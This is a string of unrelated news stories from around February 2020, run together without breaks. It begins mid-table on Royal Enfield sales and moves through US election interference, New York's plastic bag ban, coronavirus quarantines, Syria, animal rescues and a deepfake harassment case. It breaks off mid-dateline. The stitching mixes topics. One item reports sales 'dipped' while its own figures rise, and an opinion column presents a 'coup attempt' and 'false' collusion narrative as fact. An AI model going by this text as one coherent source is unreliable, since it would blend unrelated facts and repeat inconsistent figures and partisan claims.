Exports 63,520 72,701 -9,181 -12.63 Conversely, in the above 350cc segment, the Thunderbird 500 saw just 1 units sold in the past month as compared to 146 units sold in January 2019 while Bullet 500 sales were down to nil along with the Classic 500. It is to be noted that the 500 cc Royal Enfield motorcycles have been discontinued in India. They will not get the BS6 update as well. Sales of the 650 Twins Interceptor 650 and Continental GT 650 also dipped 10.01 percent to 1,176 units, down from 1,069 units sold in January 2019. 650 Twins BS6 has been launched. Talking about company exports in January 2020, the 650 Twins scored in top order with 1,144 units exported, up 22.62 percent higher as compared to 933 units exported in January 2019. The Classic 350 was also a favoured bike in export markets with exports rising 471.05 percent from 76 units exported in January 2019 to 434 units shipped in the past month. The Bullet 500 and Thunderbird 350 also noted positive exports up 282.61 percent and 288.89 percent respectively with 88 units and 70 units exported while Electra 350 which had seen no exports in January 2019 saw 18 units exported in the past month. Himalayan and Classic 500 noted lower exports at 266 units and 208 units respectively, while Bullet 350 and Thunderbird 500 failed to find any sales in global markets. In related news, Royal Enfield embarks on a new strategy to enhance domestic range. The company is mulling the introduction of a motorcycle targeting women riders with special design characteristics. The bike which is currently codenamed J1C0 and expected to be called Royal Enfield Hunter, will be lower and with a more comfortable seating position. It will be lighter and more affordable as compared to other RE models. It is expected to go on sale next year. From Q2 CY 2020, RE has plans to launch one new motorcycle every quarter in India. Democratic presidential hopeful Vermont Senator Bernie Sanders speaks during the ninth Democratic primary debate of the 2020 presidential campaign season co-hosted by NBC News, MSNBC, Noticias Telemundo and The Nevada Independent at the Paris Theater in Las Vegas, Nevada, on February 19, 2020. Mark Ralston | AFP | Getty Images U.S. officials told Sen. Bernie Sanders, a leading Democratic presidential candidate, that Russia is attempting to boost his campaign as part of its efforts to meddle in the 2020 election, according to a new report. The Washington Post, citing people familiar with the matter, reported Friday that President Donald Trump and U.S. lawmakers have also been informed about the Kremlin's assistance to Sanders. Federal prosecutors had previously uncovered that Russia used social media to try and help Sanders in the 2016 election contest against eventual Democratic presidential nominee Hillary Clinton, the Post reported. U.S. intelligence services have concluded that Russia interfered in that contest in order to sow division and ultimately help elect Trump. "I don't care, frankly, who [Russian President Vladimir] Putin wants to be president," Sanders said in a statement to CNBC. "My message to Putin is clear: Stay out of American elections, and as president I will make sure that you do." Trump has long been reluctant to acknowledge the conclusion of his own intelligence services that Russia, through its interference in the 2016 election, showed a preference for his campaign. At a briefing to lawmakers last week, an official with the office of the Director of National Intelligence said that Russia was once again interfering in the 2020 contest to aid Trump's reelection. Those comments reportedly angered the president. Trump, speaking at an campaign rally in Las Vegas on Friday afternoon, discussed the possibility of further Russian interference. "Putin wants to make sure I get elected. So, doesn't he want to see who the Democrat is gonna be? Wouldn't he rather have, let's say, Bernie? Wouldn't he rather have Bernie, who honeymooned in Moscow?" Trump said at the rally. GUILDERLAND The "bring-your-own-bag" era has started at Crossgates Mall as the state's new ban on plastic bags is about to go into effect on March 1. Local political, business and environmental justice leaders met at Crossgates on Friday to promote the news of the impending ban which is going to force nearly all stores to offer up paper bags to shoppers which are far more costly to businesses than plastic bags. Instead, those gathered at the mall on Friday pushed the use of reusable bags that people bring with them to the grocery store and even the mall to carry their purchases home. And Crossgates says it will make it easier for those who haven't gotten in the habit of bringing their own bag to the mall by giving away reusable bags to visitors for a limited time based on supplies. "They'll be able to come up to the mall office and grab one of those (reusable) bags," Crossgates General Manager Michael Gately said during a news conference Friday. That would save a likely 5 cent-per-bag fee that many grocery stores and some other retailers have vowed to charge customers for paper bags once the March 1 plastic bag ban begins. Business advocates like Ted Potrikus, CEO of the Retail Council of New York State, says that retailers have been prepped for the changes, even those at the mall and smaller retailers. "It's a really important way to save the environment and keep shopping local," Potrikus said. "It's a bit of a lift, but we can do it." Albany County is also in the process of implementing a new 5 cent tax on paper bags that would force retailers to immediately turn around and pass that 5 cent fee on to the state and county to share for environmental education and reusable bag education and giveaways. The Albany County law was passed as part of an "opt-in" provision in the state law that allows counties to tax retailers for selling paper bags. Albany County is the only Capital Region county that has tried to put in place the optional tax. However, there have been some problems with the law that Albany County passed last year to put the tax in place. The Albany County law's implementation has been in jeopardy as the state tax department works with the county to iron out some issues over the collection of the tax, although at Friday's event Albany County Legislature Chair Andrew Joyce said the paper bag tax will be back in place soon. PREVIOUSLY: State blocks Albany County's planned 5-cent paper bag tax "We're working on it," Joyce said. When asked if the county law would be ready to start by the March 1 plastic bag deadline, Joyce was emphatic that it would be ready. "Correct," Joyce responded. Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years. The county will get 2 cents of the 5 cent tax, and the state's Environmental Protection Fund would receive the other 3 cents. There are some exceptions to the plastic bag ban, including plastic bags for take-out-food, newspapers and other items. MORE: These plastic bags are still allowed in N.Y. after March 1 Assemblywoman Patricia Fahy, whose district includes Crossgates and led the press conference, said retailers in New York state give out an estimated 23 billion plastic bags a year. Such bags are typically thrown away quickly by consumers and take scores or even hundreds of years to decompose in landfills or worse lakes, streams and oceans. Fahy says she doesn't now support a statewide ban on paper bags, however, since not everyone will always remember to bring their own bag to a store. "That may be taking it too far," Fahy said. "I've tried to practice this (bringing a reusable bag to the store) for a number of years, and even I trip up." Fahy would eventually like to see retailers get back a portion of that 5 cent fee that Albany County is planning to take after the program is up and running for a while since paper bags are so much more expensive for retailers to stock an estimated 9 cents per paper bag. She sponsored a bill in the Assembly last year that would eventually return 2 cents of the 5 cent tax to retailers as people adopt more reusable bags. "Paper bags have their own environmental consequences," Fahy said, noting that they require seven times the number of truck deliveries to obtain the same number of plastic bags. Paper bags also don't decompose well in landfills either if they are not recycled. "I see this (plastic bag ban) as a transition period to get us into the habit (of using reusable bags)," Fahy said. China is able to secure the payment of old-age pension on time and in full despite the fact that the supportive policies of fee reduction may cause revenue losses to the pension fund, said Yu Weiping, vice finance minister, on Thursday. China's old-age pension system has been running smoothly with the balance of the fund reaching over 5 trillion yuan (about 714 billion U.S. dollars) by the end of last year, Yu said at a press conference. The State Council has decided to lower or waive employers' contributions to the old-age pension, unemployment and workplace safety insurance schemes to help them tide over the novel coronavirus outbreak. The reduced contributions are expected to cause revenue losses worth 471.4 billion yuan to the pension fund; however, the impact is generally controllable, according to Yu. Measures are in the pipeline to replenish the pension fund, including increasing the transfer of part of the state-owned capital, he said. A mob vandalised an Assam Rifles (AR) vehicle in Manipur's Senapati district on Friday following the arrest of a cadre of the NSCN(IM), officials said. Movement of vehicles on the Mayangkhang-Senapati section of the Imphal-Dimapur National Highway was also blockaded by locals who burnt tyres in the middle of the road. AR personnel captured the cadre of the NSCN(IM) during an operation to locate culprits who had on Thursday snatched the firearm of an officer of the force in the district, officials said. Soon after of the arrest spread, locals came out to the streets and attacked the vehicle belonging to the force. Adopting a "soft approach" to tackle the situation, the AR personnel abandoned the vehicle and left the area, the officials said. An Assam Rifles officer on Thursday came across a marked cadre of the NSCN(IM) who had violated ceasefire ground rules, leading to a hot pursuit. During the melee, the officer's AK-47 rifle was snatched but later, recovered, they said. Senior Manipur Police officials refused to comment on the issue. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) ROCHESTER, N.Y. Meet Herman and Lundy, recent cuddle buddies and rescue animals. The two are an unlikely pair: Herman, a pigeon, suffered neurological damage more than a year ago. He can't fly. Little Lundy, a newborn chihuahua puppy, can't use his back legs. But stick them together, and the two will snuggle up as though they were members of the same litter or nest. The two met through the Mia Foundation, a rescue organization in Rochester, New York, that rehabilitates animals with birth defects and physical deformities. Sue Rogers, the nonprofit's founder, sends most of her rescues to foster homes around the United States but keeps a few of them for school programs about bullying. Their interspecies friendship has inspired scores of supporters to donate to the foundation. And the animals, Rogers said, make each other better. Two rough beginnings Herman was found more than a year ago in a car dealership parking lot, where he sat on the pavement, unmoving, for three days. Eventually his rescuers realized the poor pigeon couldn't fly. Neighboring wildlife rescues said he couldn't be rehabilitated and would need to be euthanized, so Rogers took care of him herself. He now rests in a baby crib for some of the day, but she takes him outside daily to stimulate him. Lundy, an infant chihuahua, is a new arrival. His breeders in South Carolina sent him to Rogers because he had trouble using his hind legs, a condition known as swimmers syndrome. At just 6 ounces, he was small enough to fit in a shirt pocket. Rogers said she suspects Lundy's difficulty walking is due to damage to his teeny spinal cord. When Lundy met Herman The two were bound to meet eventually. Rogers set them together while attending to Lundy and saw the way the two snuggled up almost immediately. Herman didn't peck, and Lundy didn't nibble. Rogers snapped some pictures of their cuddles. The "oohs" and "ahhs" followed soon after. People from every corner of the world flooded Rogers' inbox with donations, messages of support and, naturally, pleas to adopt Lundy or the other cute pups in her care. "I was blown away," she said. And the donations keep coming. The foundation raised $6,000 in two days, she said. That's enough to cover the high-end cost of a veterinary surgery that many of her rescue animals require. Lundy needs to get stronger Herman will likely stay in Rogers' care for the rest of his life. She's hopeful Lundy stays strong and survives. "With animals born with defects, there's a chance we could lose them," she said. "So we don't want to make anyone really excited. But now I think we've gotten a thousand emails asking, 'Please, don't ever separate those two!'" One of Lundy's rescuers fell in love with him while traveling with him to Rochester, so he may already have a new home lined up. The question, then, is if Herman will ask to tag along too. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Love 2 Funny 0 Wow 1 Sad 0 Angry 0 The coronavirus outbreak, which started in the Chinese city of Wuhan, has been playing havoc on many countries around the world, but the way they have responded to it seems to decide the course it has taken in each of them since the World Health Organization declared the outbreak a "public health emergency of international concern" on Jan. 30. There has been a lull in new coronavirus cases in the U.S., Vietnam, and Taiwan, which quickly banned foreign travelers from all of China. But Korea and Japan are following China in terms of new infections, ranking second and third in the world. Korea has only banned travelers only from the Chinese province of Hubei, the epicenter of the initial outbreak, and Japan those from Hubei and neighboring Zhejiang. The Philippines reported the first death outside China on Feb. 1. Since then, it has been successful in preventing the spread by immediately banning all visitors from China. Inside the country, the number of infected patients increased from two on Feb. 2 to only three by this Thursday. Vietnam also imposed the ban and saw the number of infections rise from six to 16 over the same period. It suspended all passenger flights to and from China until May 1. The U.S. did the same and successfully suppressed the spread with confirmed cases increasing from eight to just 15 until before it evacuated its citizens from the cruise ship Diamond Princess marooned off Yokohama, Japan. Dozens of 328 evacuees reportedly tested positive for the virus. The number of infected patients has grown from 16 to 24 in Taiwan, which has banned visitors from China, Hong Kong and Macau since Feb. 7. The only exception is Singapore, where the number of infected patients has soared from 16 to 84. The city state has failed to curb the spread because the virus had already become rampant there before ban of travelers from China on Feb. 1. Chandigarh, Feb 21 : Punjab Chief Minister Amarinder Singh on Friday extended greetings to the people on the auspicious occasion of Mahashivratri with a call to celebrate the festival in the true spirit of brotherhood and harmony. In his message, Amarinder Singh called upon the people to follow the ideology promoted by Lord Shiva to destroy all evil forces of divisiveness and hated, which are detrimental to the nation's social fabric. "May this auspicious occasion inspire noble thoughts of love, affection, amity and brotherhood amongst all of us," said the Chief Minister in a statement. When Justice Kavanaugh replaced Justice Anthony Kennedy in 2018, he moved a five-member conservative majority even farther to the right, and progressives are rightly concerned that this shift imperils many past victories from reproductive rights to affirmative action. But on poverty there havent been many victories in the first place, as Cohen demonstrates, since the judicial assault on the poor dates back decades. Supreme Inequality begins with the Warren court to show that the court of that time was taking steps to protect the poor. But President Richard Nixon forged a new conservative majority by bluffing Justice Abe Fortas off the court with a smear campaign, causing a shift in the courts balance that has persisted down to the present day with the Senates refusal to give Judge Merrick Garland, Barack Obamas choice for the court, a hearing. Instead, Justice Neil Gorsuch was confirmed to that seat once Donald Trump became president. Because the numbers on the court are so small, swapping out one justice for another transforms the course of the country. Cohen concludes with the words of the poverty law activist Edward Sparer, who said that a court more sensitized to the needs of the poor could have led to a different America. And this is where the book falters. After energizing the reader, it ends with lamentations rather than reforms. Contemporary proposals to limit the terms of the justices or to expand the number of seats on the court have direct relevance to the problems Cohen describes. But they receive no mention here. Cohen does better when looking beyond the Supreme Court. He tantalizingly alludes to the role that state courts might play by invoking Justice Thurgood Marshalls dissent in Rodriguez. As that dissent observed, state courts are permitted to build above the floor set by the federal Supreme Court, and some state constitutions have textual provisions that create more protections for low-income Americans. Yet Cohen gives us only a snapshot of this potential solution. More deeply, Cohen never delivers a crisp blueprint of what an ideal jurisprudence as it relates to the poor might look like. As he acknowledges, the law offers two avenues for reform. The first takes a group-based approach, viewing the poor as a protected class that must be treated on equal terms with the rich. The second takes a rights-based approach, arguing that the government must protect certain fundamental rights (like the right to counsel in criminal proceedings) even to the point of subsidizing them. Though Cohen favors these approaches, he does not explain how either would work in practice. If we take the group-based approach, how are the poor to be defined, and what would constitute equal treatment? If we take the rights-based approach, how do we determine which rights are so fundamental that they must be supported by the state? As its title promises, Supreme Inequality makes an important contribution to our understanding of both the Supreme Court and the law of poverty. Cohen is an erudite and savvy observer. Yet for precisely that reason, one wishes he had pointed a clearer path to a less impoverished jurisprudence. Source: Xinhua| 2020-02-22 04:27:36|Editor: huaxia Video Player Close United Nations Secretary-General Antonio Guterres speaks to journalists during a press encounter at the UN headquarters in New York, Feb. 21, 2020. Guterres on Friday told reporters at the UN headquarters in New York that the "man-made humanitarian nightmare" for the Syrian people must stop immediately. (Xinhua/Li Muzi) UNITED NATIONS, Feb. 21 (Xinhua) -- United Nations Secretary-General Antonio Guterres on Friday told reporters at the UN headquarters in New York that the "man-made humanitarian nightmare" for the Syrian people must stop immediately. "This man-made humanitarian nightmare for the long-suffering Syrian people must stop. It must stop now," the UN chief said. "We are all aware of the unfolding crisis in northwest Syria and the terrible human toll on civilians," he added. "Nearly 900,000 people - the vast majority women and children - have fled in the latest fighting under the most tragic circumstances. Hundreds have been killed. Many have been uprooted multiple times. Young children are freezing to death." "The fighting is now advancing into areas with the highest concentrations of people - including the displaced - and threatening to strangle humanitarian lifelines," said the secretary-general. Guterres warned that "international humanitarian law and the protection of civilians have been systematically ignored." "As the space for safety shrinks further - the potential for human suffering grows worse," he noted. According to the UN chief, an estimated 2.8 million people in northwest Syria require humanitarian assistance. "Earlier this month we thought we would need to reach 800,000 people displaced by the recent and ongoing violence," he said. "Now, something much greater is required." Talking about humanitarian aid, the UN chief said that "we are revising our plans and issuing an urgent appeal to donors for an additional 500 million U.S. dollars to cover the needs of the newly displaced people over the next six months." "Beyond the appalling humanitarian crisis, developments on the ground are making matters more and more dangerous," said secretary-general. As for the Idlib de-escalation zone, Guterres said that the zone was established in 2017 - and the subject of a further memorandum between the Russian Federation and Turkey in September 2018, the Sochi Memorandum. "However, by late February 2019 the arrangement began to falter, despite several ceasefire renewals in the subsequent months, most recently on Jan. 12." "For almost a year we have seen a series of Syrian government ground offensives supported by Russian airstrikes. This month there have been repeated deadly clashes between Turkish and Syrian Government forces." "All of this means that in addition to a dramatic and deteriorating humanitarian situation, we face now the risk of an ever-more serious confrontation with increasingly unpredictable consequences," Guterres warned. Noting that it is crucial to break the "vicious circle of violence and suffering," the UN chief stressed that "I have repeatedly called for an immediate ceasefire in Idlib to end the humanitarian catastrophe and now also to avoid an uncontrollable escalation." Referring to other actions he has taken, Guterres said that he has conveyed this message "publicly and directly to key actors." "In addition, my special envoy for Syria, as well as the emergency relief coordinator, have repeatedly briefed the Security Council - including as recently as two days ago." "At my direction, my special envoy has also been in close and constant communication with all involved," he added. "The message is clear: There is no military solution for the Syrian crisis. The only possible solution remains political," said the secretary-general. The Kremlin reportedly said Monday that the Russian military continues to support the Syrian government forces in their fight against terrorists in the country. "We still regret that terrorists have intensified their activities in Idlib," Kremlin spokesman Dmitry Peskov was cited as telling reporters in Moscow. Tensions in the northwestern Syrian province of Idlib have flared up recently as the Syrian government forces, which have launched wide-scale offensives against the rebels in the area, exchanged fire with Turkish troops, causing multiple deaths on both sides. Moscow backs Damascus' military action, citing rising terrorist threats in Idlib. In a rare incident, a 25-year-old man was killed after he was injured by a rooster, which had a razor-sharp blade tied to its legs, during a cockfight in Purulia district of south Bengal on Thursday night. The police have identified the victim as Asim Mahato. He was the owner of one of the two cocks that were engaged in the sport. Cock-fighting was going on in the village. Mahato being the owner of one of the two birds that were engaged in the cock-fight was standing near the two fighting birds and cheering. Suddenly one of the two birds landed on him. The blade cut an artery on his ankle and he was badly injured, said Tarapada Mondol, officer-in-charge of Hura police station. The victim was rushed to the Purulia Sadar Hospital where he succumbed to his injuries late on Thursday night. According to the police, such cockfights are organized regularly in remote villages and scores of villagers gather with their roosters. Thursdays event was organised at Palga village. Sometimes, the villagers engage in betting but often the winner takes the dead bird as a trophy. Cock-fighting is illegal in India. It is a cognizable offence under Section 11 of the Prevention of Cruelty to Animals Act. The Supreme Court has banned it, said animal rights activist Gauri Maulekhi, trustee of the People for Animals, a non-governmental organisation. She said that earlier in January this year, a man had died in Andhra Pradesh in a similar incident. Even though it is illegal, such events are organized in several villages across India and continue to be a problem. SHARE THIS ARTICLE ON BEVERLY HILLS, CALIFORNIA - FEBRUARY 09: Joaquin Phoenix attends the 2020 Vanity Fair Oscar Party hosted by Radhika Jones at Wallis Annenberg Center for the Performing Arts on February 09, 2020 in Beverly Hills, California. (Photo by Axelle/Bauer-Griffin/FilmMagic) Joaquin Phoenix put his Oscar words into action just two days after his Academy Award win, rescuing a mother cow and her calf from a slaughterhouse in Los Angeles. After picking up the Best Actor gong at the ceremony, Phoenix delivered a powerful speech, during which he issued a warning to the world about plundering our natural resources. Read More: Salma Hayek reveals why she ended up in hospital on Oscars night Phoenix remarked, I think weve become very disconnected from the natural world. Many of us are guilty of an egocentric world view, and we believe that were the centre of the universe. We go into the natural world and we plunder it for its resources. Joaquin Phoenix wins the Oscar for Best Actor in "Joker" at the 92nd Academy Awards in Hollywood, Los Angeles, California, U.S., February 9, 2020. REUTERS/Mario Anzuoni We feel entitled to artificially inseminate a cow and steal her baby, even though her cries of anguish are unmistakeable. Then we take her milk thats intended for her calf and we put it in our coffee and our cereal. Farm Sanctuary have now released a short eight minute long film that depicts Phoenix liberating a cow and her newborn calf before bringing them to the shelter, which is based in Southern California. You can watch the piece below. Phoenix did more than rescuing the animals as he also named them Liberty and Indigo. Soon after, the actor released a statement, via the Guardian, that reflected on his efforts: Read More: The Academy explains why Luke Perry was left out of Oscars 'In Memoriam' segment after outcry I never thought Id find friendship in a slaughterhouse, but meeting Anthony and opening my heart to his, I realise we might have more in common than we do differences. Without his act of kindness, Liberty and her baby calf, Indigo, would have met a terrible demise. Liberty and Indigo will never experience cruelty or the touch of a rough hand. My hope is, as we watch baby Indigo grow up with her mom Liberty at Farm Sanctuary, that well always remember that friendships can emerge in the most unexpected places; and no matter our differences, kindness and compassion should rule everything around us. A former Omagh councillor has said that her life has been turned upside down by "untrue and malicious allegations" spread online about her personal life. Sorcha McAnespy, who left Sinn Fein four years ago and is now a member of Fianna Fail, told the Belfast Telegraph that she felt extremely distressed about false rumours linking her to a public figure from Co Tyrone. Her face was superimposed on "grotesque pornographic images" circulating on WhatsApp, and appearing in online searches, in a campaign which she said seeks to discredit her and the prominent married local personality. She has reported the images to the PSNI and is receiving counselling. Ms McAnespy said she was speaking out following the tragic death of Caroline Flack in her London flat last weekend. The former councillor said: "Completely false and unsubstantiated rumours have been spread about me since the New Year. "I am being linked to a man whom I don't even know personally. The whole thing is crazy. Friends have contacted me from as far away as Canada and Dubai to say they've heard the claims. "It has been said that myself and this man have been seen together and that he's living with me. I'm a single mother of three daughters, and I live with my children, nobody else. This is not just upsetting for me, it affects my family too. This is obviously distressing for my parents." Read More Ms McAnespy said the past seven weeks had been "just horrible" for her. "I've been in public life since 2011 and I know hurtful things can be said about you. My attitude has always been to ignore it and rise above it," she said. "But this is on a totally different level to anything I've ever experienced before. I know that speaking out publicly can give the allegations legs, but I feel I have no other choice but to call this out. "I'm doing so not just for myself but for other women in politics, business and sport who have experienced unfounded rumours about their personal life. It is not right that we are left to try and douse the flames ourselves. "I am not looking for sympathy, but I am looking for a better future for my three daughters. I don't want them to ever have to deal with rubbish like this. It has to stop." Ms McAnespy said that WhatsApp had to be held to account for "enabling the circulation of false and malicious rumours". The former councillor's story was first reported in the Ulster Herald. She said that a friend had told her about the untrue allegations in January. "I didn't take it seriously because it was so outrageous, but then more and more people began to talk about it," she said. "Another friend showed me grotesque pornographic images of my face Photoshopped onto somebody else's body. I broke down in tears, and it was then I decided I had to go to the police." Ms McAnespy said that the PSNI had told her that there was not much it could do about a Photoshopped image. "I've taken legal advice on the issue. I find it highly frustrating that apparently nothing can be done to counteract such vile rumours," she said. "These allegations are doing the rounds on building sites in Belfast and Dublin. This has all been carefully and deliberately planned. It didn't just happen by accident. "I would appeal to people who share these images on WhatsApp to think about what they are doing. They may reckon it's just a bit of craic, but it destroys people's lives and reputations." Ms McAnespy said she had been encouraged by the response she has had since going public about her experience. "I've been receiving lots of support from other women. People are saying that I'm brave talking about it and they're telling me to keep my chin up," she said. Ms Anespie was an Omagh councillor for eight years. She failed to get re-elected in last year's local government elections. She left Sinn Fein in 2016, citing a "toxic culture" within the party. She continued to sit as an independent councillor until last May. She joined Fianna Fail and currently serves on its national executive. The Government of Israel thanked Ukraine for evacuating its citizen from Wuhan which became the epicenter of COVID-19 coronavirus outbreak. Israel highly appreciates the efforts of the Ukrainian government in evacuating Israeli citizen Tomer Zvulun from Wuhan. This is yet another example of the strong relations between our countries, Israels Foreign Minister Israel Katz posted on Twitter. Earlier, The Times of Israel reported about Israeli Tomer Zvulun, who had been evacuated from Hubei province in China along with 45 Ukrainians and nationals from Belarus, Kazakhstan, Argentina, Ecuador, Costa Rica, the Dominican Republic, Panama and other countries. The deaths due to COVID-19 coronavirus have reached 2,247 as of Friday morning. On the morning of February 20, a plane with Ukrainian citizens and foreigners evacuated from the Chinese city of Wuhan landed in the Kharkiv airport. After inspection and passing the border and customs control, the buses with the evacuees left for Novi Sanzhary village in Poltava region where they were placed in quarantine at the National Guard Medical Center. ol TOKYOJapans health minister said the last cruise ship passengers who tested negative for a new virus will leave the Diamond Princess on Friday after a much-criticized quarantine of the vessel ended. The ship docked at a Yokohama port has the most COVID-19 cases outside of China, with 634 confirmed by late Thursday. Two former passengers have died. Health Minister Katsunobu Kato told a news conference the mass disembarkation into Japan of passengers from the ship is set to end Friday, while dozens of foreign passengers are flying back to their home countries on flights chartered by their governments. Most crew members and other passengers who have not completed their 14-day quarantines because they had more recent contact with infected people are staying on the ship for now, but they will be transported to a government facility to be quarantined in isolation. Japan is discussing with the ship operator and home countries of foreign crew members over their future movements, he said. Japans government has been questioned over its decision to keep people quarantined on the ship, given the tight quarters and the difficulty of isolating sick people from the healthy. Six government quarantine workers contracted the virus, raising questions about the protective measures used. The two fatalities, a man and woman who were both Japanese and in their 80s, were believed to have been infected before health checks and a Feb. 5 quarantine began on the ship, Health Ministry official Masami Sakoi said. It was not immediately known if they had any roommates on the ship. The new coronavirus that causes COVID-19 has sickened tens of thousands of people, mostly in central Chinas Hubei province. The United States and other countries have put former Diamond Princess passengers in second quarantines. Australia said two passengers tested positive after they returned home. Kato said Australia, like the United States, brought home a mixture of passengers who tested negative and others who were not tested and had an unknown status, therefore it was difficult to know when or how they had contracted the virus. Kato said passengers who returned home on the United States and Australian flights did so before completing the Japanese quarantine process, and that Japans ongoing disembarkation of passengers is still adequate. Will 4 Mysterious Spygate Figures Be Emerging Soon? Commentary Throughout all the twists and turns of the ever-growing Spygate scandal over the past four years, what has stood out the most to me has been the key roles played by four mysterious figures: Professor Joseph Mifsud Professor Stefan Halper FBI special agent Joseph Pientka Justice Department official Bruce Ohr While there is an exhaustive amount of publicly available information and evidence concerning the actions of most people involved in the creation of the false TrumpRussia collusion narrative, four important figures in the story still remain as elusive and mysterious as ever. Two of these mysterious figures are academics who appear to have long been involved in intelligence work. One is a still-serving FBI agent who appears to have played a key role in almost every major part of the agencys Crossfire Hurricane investigation. And one is still a top Department of Justice (DOJ) official, although hes been demoted several times. Professor Joseph Mifsud Mifsud is the Maltese professor who first approached Trump campaign adviser George Papadopoulos with a supposed offer of help from the Russian government. Mifsud has remained in hiding for more than three years, even as plenty of people have been looking to speak to himand I dont mean just reporters. The country that Mifsud is most closely identified with recently is Italy, where he has been rumored to be hiding. The news last October that both U.S. Attorney General William Barr and U.S. Attorney John Durhamwhom Barr has tapped to investigate the origins of the Crossfire Hurricane probehad just returned from a trip to Italy, where they had received Mifsuds phones, caused shockwaves in the news media. Far from ignoring Mifsud, as many had assumed, Durham appears to be treating Mifsud as a central figure in his ongoing investigation. Professor Stefan Halper Professor Stefan Halper, reportedly a longtime CIA operative with a history of being allegedly involved in a political spying operation during the 1980 presidential election, played a key role in starting the TrumpRussia collusion narrative. According to reporting by The New York Times, Halper was an informant for the FBI in the Crossfire Hurricane investigation. Svetlana Lokhova, a Russian-born academic based in the UK, has alleged that Halper defamed her by allegedly painting her as a Russian spy and saying that she had an affair with Lt. Gen. Michael Flynnwho, at the time, was director of the Defense Intelligence Agencyon behalf of Russian intelligence. That accusation was always absurd on its face, since Flynn and Lokhova met exactly one timeat a private dinner in 2014 at Cambridge, when Halper wasnt even present. Durham has reportedly expanded his probe to include the Pentagons Office of Net Assessment, an agency that had previously awarded multiple contracts to Halper. FBI Special Agent Joseph Pientka Im not aware of the DOJ or FBI having ever formally acknowledged that Pientka was the second agent at the Flynn interview in the White House on Jan. 24, 2017. Pientka wasnt only present at the creation of the Flynn scandalsince he was accused of having lied to the FBI during the interviewbut also that of the Foreign Intelligence Surveillance Act (FISA) abuse scandal, according to the DOJ inspector general report. I have long speculated that Pientka flipped early and is now a protected witness. During the three years that I have been trying to locate information about him, I have only been able to locate one photograph that purports to have him in it. Why would they utterly expose every other DOJ/FBI person involved in the coup attempt except Pientka? Why does he get this very different treatment? What makes him so special? By comparison, both Peter Strzok and Lisa Page were unceremoniously dropped from Robert Muellers special counsel team without any explanation and subsequently had their text messages publicly released by the DOJ. Yet, despite all the furious public activity concerning Comey, McCabe, Strzok, and Page, there was not even a blip on the radar screen about Pientka. I have even humorously taken to calling Pientka The DOJs Invisible Man. I received confirmation for this opinion when Pientkas name was quickly scrubbed from the FBI website in San Francisco after a fellow researcher spotted it there and provided before and after screenshots. Department of Justice Official Bruce Ohr Ohr is a name all those who have kept up with the Spygate scandal are intimately familiar with. Most notably, Ohrs wife, Nellie, worked for Fusion GPS and contributed to the research on Donald Trump and his family. Ohr himself became a backchannel between Christopher Steele and the FBI after Steele had been fired by the agency as a confidential informant. Ohr certainly was right in the middle of Spygate. Despite that, Ohr also has been kept out of sight. Even after having been demoted at least twice, Ohr by all reports is still employed at the DOJ. Thats led to much speculation that hes also cooperating with investigators. He has testified to Congress behind closed doors, but much of what he said remains confidential. Last week, it was reported that Senate Judiciary Committee Chairman Lindsey Graham (R-S.C.) sent a letter to Barr requesting that he provide current DOJ and FBI personnel for hearings. Among the people on the list are Pientka and Ohr. Also, Barrs most recent update on the status of Durhams investigation is that he expected it to be wrapped up in the late spring or early summer of this year. So we could very well be seeing some of these mysterious figures stepping onto the national stage soon. Brian Cates is a writer based in South Texas and the author of Nobody Asked For My Opinion But Here It Is Anyway! He can be reached on Twitter @drawandstrike. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. HONG KONG, Feb 21 (Reuters) - Responding to shortages of face masks amid a frightening coronavirus epidemic spreading from the mainland, a group of citizens in Hong Kong have set up a surgical face mask factory to ease supplies and deter price gouging in some stores. After Hong Kong reported its first case of the virus last month, panicky residents queued at dawn, waiting for pharmacies to open to buy masks and sanitary wipes. The group that decided to do something about the lack of masks is led by a film maker who would only give one name, Tang, due to fear that he could be perceived as critical of authorities in the Chinese-ruled city. "I got angry looking for masks, they're either all sold out, or the masks that are from overseas are sold at an inflated price," Tang said, wearing a mask, at the factory set up close to the border with the mainland. "So I thought, making a mask isn't that hard, just some fabric sewn together, how about I make my own factory?" Tang and his financial backers paid $150,000 to import a machine from a factory near Chennai, in India. It makes 100,000 masks per day, and Tan hopes to have eight machines running by April. Latest figures show Hong Kong has 69 confirmed cases of the coronavirus and suffered two deaths. In mainland China, where the virus originated, there were around 74,000 cases, as of Thursday, and there have been over 2,100 deaths. The masks made in the citizen's group will be sold exclusively online for HK$1 (13 U.S. cents) a piece. Tang hopes this will deter shops from trying to gouge customers, which some are presently doing by charging prices up to HK$10 a piece, despite some pharmacies handing out masks for free. Tang receives grants from the government for film making, and his other financial backers also did not want to risk being perceived as critical of the authorities. The authorities in Hong Kong have become more sensitive to criticism after months of pro-democracy protests rocked the Chinese-ruled city last year. ($1 = 7.7869 Hong Kong dollars) (Reporting by Pak Yiu; Editing by Marius Zaharia and Simon Cameron-Moore) You may have noticed how Lee slipped seamlessly there from benchmark wines to rising star producers. The transition reflects the dizzying array of information Burgundy throws at us. Its not just the source of the worlds best pinot noir and chardonnay. Its a complex map of appellations and vineyards grand cru, premier cru and villages that can produce dramatically different wines from either side of a stone wall or a narrow lane. Its also a phone books worth of names, negociant houses and family domaines young and old, multi-generation vignerons and upstarts setting out on their own. You need to know not just which vineyards are famous, but also which vignerons own the best parcels within those vineyards. Its an imposing legacy of French history, revolution and tax laws. Its also very much part of Burgundys allure. Indian Embassy in Oman on Friday said the case of some workers from Jharkhand getting stranded in the Gulf Country has recently come to its notice and assured of all necessary support towards resolution of their issues. "This case has recently come to the notice of the Embassy. We are in touch with the workers as well as the concerned Omani authorities and have also provided legal advice. We will extend necessary support towards resolution of issues of these workers," Indian Embassy in Oman tweeted. The embassy made the remark replying to a tweet by Jharkhand Chief Minister Hemant Soren wherein he had requested External Affairs Minister S Jaishankar to instruct the Indian Embassy to help the stranded workers. "I request EAM S Jaishankar to instruct the Indian Embassy in Oman and help 30 people from Jharkhand stranded in Oman. With this, I also request you to take appropriate action against the company which exploited them," Soren's tweet roughly translated from Hindi read. The Chief Minister had also attached a media report about the same in his tweet. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Welcome Guest! You Are Here: Taiwan reports new coronavirus case with unknown origin ROC Central News Agency 02/20/2020 10:48 AM Taipei, Feb. 20 